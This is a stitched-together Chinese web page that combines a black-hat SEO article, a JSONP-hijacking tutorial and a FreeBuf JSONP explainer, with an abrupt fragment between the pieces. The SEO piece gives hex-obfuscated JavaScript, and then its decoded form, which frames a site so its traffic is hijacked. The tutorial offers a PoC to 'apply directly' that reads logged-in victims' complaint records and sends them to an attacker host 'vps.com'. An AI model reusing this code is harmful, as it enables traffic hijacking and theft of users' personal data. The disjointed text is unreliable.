整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

关于劫持:JS劫持手法

关于劫持:JS劫持手法

说到黑帽什么的你们就非常的感兴趣,那也没办法,毕竟黑帽神秘又厉害,一周就有效果。

有关黑帽的具体操作网上少之又少,基本都标题党。

刚好最近碰到一个群友在吹他的快排,就拿他的来做个讲解。

我看了他的网站,就只能看出JS劫持,其他我也不懂,就讲讲这个吧。

暂时他有三个网站,指数5000左右的词都排首页前5位,大家先看看数据(提醒:拿别人的网站来分析,切勿放上网址及网站信息,断人财路等于杀人放火)

短时间内有这样的数据,50%做了快排。

这样看快排的几率90%了

这里提醒下各位站长,快排来得快去得也快,这是铁律。能给你几个月的快感,百度一更新就难翻身,切记切记。

但我个人比较向往黑帽,因为厉害啊。

看了他的网站代码,里面都有一个奇怪的JS代码

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65 \x3d

\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65\x73\x65\x74 \x72\x6f\x77\x73\x3d\x27\x31\x30\x30\x25\x2c\x2a\x27

\x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x27\x4e\x4f\x27 \x62\x6f\x72\x64\x65\x72\x3d\x27\x30\x27

\x66\x72\x61\x6d\x65\x73\x70\x61\x63\x69\x6e\x67\x3d\x27\x30\x27\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65 \x6e\x61\x6d\x65\x3d\x27\x6d\x61\x69\x6e\x27

\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\u4f60\u7684\u7f51\u5740\x2e\x63\x6f\x6d\x27

\x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x79\x65\x73\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

('\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x2f\x66\x72\x61\x6d\x65\x73\x65\x74\x3e\x22\x29\x3b');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]

['\x77\x72\x69\x74\x65\x6c\x6e']("\x\x33\x63\x2f\x73\x63\x72\x69\x70\x74\x3e");

是不是很奇怪

其实这个是经过加密的JS劫持代码,经常会出现在被黑的网站里面,劫持流量。

解密后发现都是指向一个网站,我们再看看那个网站的数据

能肯定这个估计就是主站了,手法就是通过快排一些网站上排位然后JS劫持流量到主站做排名。

那肯定你们会问,为什么这么大费周章不直接就去快排主站算了。

因为主站不能被K,而快排站无所谓,说明一下,百度蜘蛛现在是不能识别JS代码的,一旦惩罚,主站不会被牵连,

而且这位朋友手法成熟,快排站与主站做的行业和关键词都一致,一旦跳转,主站的流量来源都会是行业关键词,想法很好。

好了,点到为止,希望能给你们一点帮助,最后奉上JS代码。

document.writeln("<script language=javascript>");

document.writeln("document.write(\"<frameset rows='100%,*' frameborder='NO' border='0' framespacing='0'>\");");

document.writeln("document.write(\"<frame name='main' src='http://www.你的网址.com' scrolling=yes>\");");

document.writeln('document.write("</frameset>");');

document.writeln("\x3c/script>");

热点资讯

SEO基本功:站内优化的一些基本手段

SEO进阶必修课:如何创建和管理高质量关键词词库

春风十里,不如你

初步感受jsonp

1.1 jsonp

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON )。

说白了就是一种跨域的json数据传输的解决方案。

1.2 jsonp劫持攻击

由于jsonp允许跨域请求,并且允许前端可以在<script></script>中直接解析返回的json形式的跨域数据,如果没有做到合适的防御,攻击者就可以做到jsonp劫持攻击。

Jsonp劫持攻击时csrf攻击的一种。csrf攻击分csrf读和csrf写,jsonp劫持是csrf读的一种具体攻击形式。通常攻击者通过这种形式可以读取到受害者的敏感数据。

可以看下wooyun镜像,搜索jsonp可以查到大量案例。

来看一个简单的例子感受一下。

http://www.anquan.us/static/bugs/wooyun-2013-019969.html

攻击者在script标签中直接解析了跨域传输的json敏感数据。alert出来了,当然你也可以发出去做log记录,总之js都解析到了啥不能干?

1.3 jsonp防御

既然是csrf攻击的一种,还是和csrf防御一样呗。referer/csrf_token/验证码等机制。

2 本地yy测试

实践出真知,动手本地yy测试一下jsonp攻击流程。

2.1 理清思路

测试的思路如下。

1、js.html ————实际的劫持poc,实战中放到黑客控制的vps上

2、api.php ————模拟有漏洞的jsonp接口,在有漏洞的web服务器上

3、logs.php ————黑客vps记录劫持记录的后端页面

2.2 环境准备

api.php

模拟提供jsonp传输的敏感数据的接口。

接口访问效果,输出自己的cookie映射内容。

用js.html模拟攻击者执行的js来劫持jsonp

这里转发的ip也一样,实战是黑客自己的vps。

logs.php

2.3 整体走一个

打开js.html,直接本地打开,模拟的动作是受害者打开我vps上的csrfpoc

第一个ajax请求,模拟csrf向服务器请求返回账号敏感信息。

第二个ajax请求,模拟vps的jspoc成功解析到敏感信息,并且做一个log记录。(真实环境应该在vps上做log记录,这里为了方便和漏洞服务器同一个ip)

服务端记录。

2.4 延伸

如果返回的jsonp的json数组,不是一个json对象。

可以用下标直接取出。

3 实战jsonp劫持

yy完了,看一个真实例子。

这个请求包jsonp请求,内容返回的是用户的投诉记录,无token,无验证referer,该请求可以被劫持!

演示如下:

在登录账号(已经有投诉记录的)的情况下

凡访问加载这个poc的页面的用户,他的投诉记录都会被我直接劫持,并且做记录

4 劫持poc

分享下我的poc,大家遇到简单的接口可以直接套用了。

Script直接解析json

<script>

function hack(json){

alert(JSON.stringify(json));//接下来可以做转发记录

}

</script>

<script src=”http://127.0.0.1:8081/js.php?callback=hack”></script>

$.getJSON

<script type=”text/javascript” src=” http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js “></script>

<script type=”text/javascript”>

$.getJSON(“http://vulweb.com/api/getMyFeedbackList?callback=?”, function(json){

var data=JSON.stringify(json);

//将data转发记录

$.get(“http://vps.com/json/logs.php?mylogs=”+data,function(res,status){

alert (‘ok’) ;

});

});

</script>

5 后记

本菜鸡对前端了解也不深,也是最近接触的jsonp劫持,文中错误难免,欢迎指正。

常见的csrf数据劫持方法还有很多,例如因为crossadmin.xml配置不对导致的flash跨域劫持。以后遇到可以记录学习一下。

关于前端劫持还有很多玩法,本文只是做一个最简单的jsonp-api数据劫持,乌云镜像上有很多是高端组合玩法的案例。

么是 JSON

  • JSON指的是JavaScript对象表示法( ?JavaScript Object Notation)
  • JSON是轻量级的文本数据交换格式
  • JSON是存储和交换文本信息的语法,类似XML
  • 但JSON比XML更小、更快、更易解析
  • C、Python、C++、Java、PHP、Go等编程语言都支持JSON

几乎所有编程语言都有解析JSON的库,而在JavaScript中,我们可以直接使用JSON,因为JavaScript内置了JSON的解析。

把任何JavaScript对象变成JSON,就是把这个对象序列化成一个JSON格式的字符串,这样才能够通过网络传递给其他计算机。

JSON 语法规则

  • 数据为 键/值 对(key:value)
  • 数据由逗号分隔
  • 方括号保存数组
  • 大括号保存对象
var Deutsh={
    name: 'De4tsh',
    age: 66,
    height: 2.01,
    grade: null,
    skills: ['JavaScript', 'C', 'C++', 'Python'], // 数组
    like: {"sports":"football","eat":"pizza"}     // 对象
};

// 将 Deutsh 对象序列化为 JSON 格式字符串
var deu=JSON.stringify(Deutsh); 
console.log(deu);

转换得到的 JSON 格式的数据为:

{"name":"De4tsh","age":66,"height":2.01,"grade":null,"skills":["JavaScript","C","C++","Python"],"like":{"sports":"football","eat":"pizza"}}

JSONP

CORS是推荐的方法,而不是JSONRequest。JSONP对于较旧的浏览器支持仍然有用,但考虑到安全隐患,除非您别无选择,否则CORS是更好的选择

JSONP是JSON with padding(填充式JSON或参数式JSON)

简单来说,JSON的一种”使用模式”,可以让当前网页从别的域名(网站)那获取资料,即跨域读取数据,而且JSONP算是一种非官方的技术手段 ( 官方的有CORS(之前在 SSTI 注入时提到过) 和postMessage)

至于为什么跨域访问别的域名的资源还要借助这种方式,原因在于有着:同源策略的限制:在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据(比如说 cookie )值得注意的是同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造就是利用同源策略不适用于HTML标签的缺陷。

JSONP跨域请求的原理

如上所述,JSONP正是利用了HTML中的<script>标签中src(该属性用于规定外部脚本的 URL)属性不受同源策略约束来跨域获取数据的

JSONP会动态的创建<script>标签,然后通过其中的src属性来跨域获取数据

JSONP 的组成

JSONP由两部分组成

  • 回调函数—callback
  • 数据——data

简单来说整体流程为:

当我们访问一个网站时,若该网站需要请求外部的资源,会通过动态建立一个带有src属性的<script>标签,去访问对应要请求资源网站的JSONP接口(请求时提供位于本端的回调函数名称),请求该接口后会返回所提供回调函数的调用,与该函数所需要的数据,而该函数由当前请求端所定义请求的(开发者根据请求资源的类型来定义好该回调函数)

JSONP 原理实验

此处借用 菜鸟教程所提供一个JSONP接口来展示JSONP跨域请求的一个示例

服务端所提供的 JSONP 接口

jsonp.php

<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback=htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data='["customername1","customername2"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

这个也就是我们要请求的不是同源的数据所在的域

https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction

(该接口为菜鸟教程提供,大家若要做实验可直接使用)

客户端

说是客户端其实比较容易误解,说白了就是一个要请求上述域中资源的非同源的里另一个域名,此处我们通过本地起python -m http.server 8080来搭建一个建议的本地网站,这个网站也就是作为用户的 你/我 要访问的网站,该网站的HTML为:

demo.html

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
    var html='<ul>';
    for(var i=0; i < result.length; i++)
    {
        html +='<li>' + result[i] + '</li>';
    }
    html +='</ul>';
    document.getElementById('divCustomers').innerHTML=html;
}
</script>
<script type="text/javascript" src="<https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction>"></script>
</body>
</html>

注意看客户端的HTML代码中已生成用于访问本域之外资源的带有src属性的<script>标签

用户访问

上述simplehttp的IP:PORT为http://172.16.12.150:8080

作为用户的我们访问该网站后则会显示:

http://172.16.12.150:8080/demo.html

可以看到请求到了位于不同域(https://www.runoob.com)的jsonp.php中的数据["customername1","customername2"],并且该数据还经过了位于http://172.16.12.150:8080HTML 中回调函数callbackFunction的处理后,返回到了用户 “眼中”


所以此时的逻辑就是我们访问了http://172.16.12.150:8080的网站,该网站需要获取位于https://www.runoob.com中的数据(比如说本例子中的JSON数据),但由于这两个网站处于不同域,所以无法直接通过javascript请求,所以通过<script>标签的src属性请求了https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction这个JSONP接口,至此或得到了JSON的数据,并通过本网站(http://172.16.12.150:8080)的回调函数,对或得到的数据进行了个性化的处理,最终展示给用户

其实直接请求该JSONP接口也可以得到数据,但该数据是没有经过本端回调函数处理的(而且还会被包在一个未定义的回调函数中)

JSONP 劫持

由上面的描述就可以很容易的发现,若回调函数被控制,那么便可将请求到的数据通过该函数进行任意的处理

JSONP 劫持原理

假设当前有两个网站:

  • 网站A由攻击者自建立,包含恶意的JSONP回调函数以及向网站B发送请求的带有src属性的<script>标签
  • 网站B正常网站,用户需要登录该网站形式其功能,并且该带有JSONP支持跨域请求

所以整体的流程就是:

  1. 首先用户会登录网站B,网站B中包含了该登录的基本信息(用户ID、用户名等),并且网站B还存在一个JSONP接口,用户在访问该网站的时候,该接口会返回用户的信息
  2. 此时通过配合其他漏洞或诱导用户来访问网站A,此时包含着恶意回调函数以及src属性的<script>标签的HTML页面就会加载到用户这边
  3. 标签被触发,通过用户的身份,向网站B的JSONP接口发送请求,便可以请求到B的基本信息的数据
  4. 然后再配合恶意的回调函数,无论是将这些数据发回网站A,还是显示出来都可以,自由发挥即可

至此便完成了一个JSONP的劫持

对 JSONP劫持 的思考

归根结底,JSONP 可造成的危害并不是很大,因为其需要满足的前提条件很多(比如:需要跨域、并且不能有token的校验),这也就是造成其很难自己一个人 “挑起大梁”,还需要配合其他的漏洞,或是钓鱼等

所以与其寻找挖该漏洞,不如将其用于蜜罐中

参考文章

What is JSONP, and why was it created?

由浅入深理解JSONP并拓展

201-A20-同源策略及相关漏洞

JSONP 教程

浅谈Ajax跨域及其JSONP简单实现

W3Schools online HTML editor

申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。

本文作者:Deutsh,原文来自FreeBuf.COM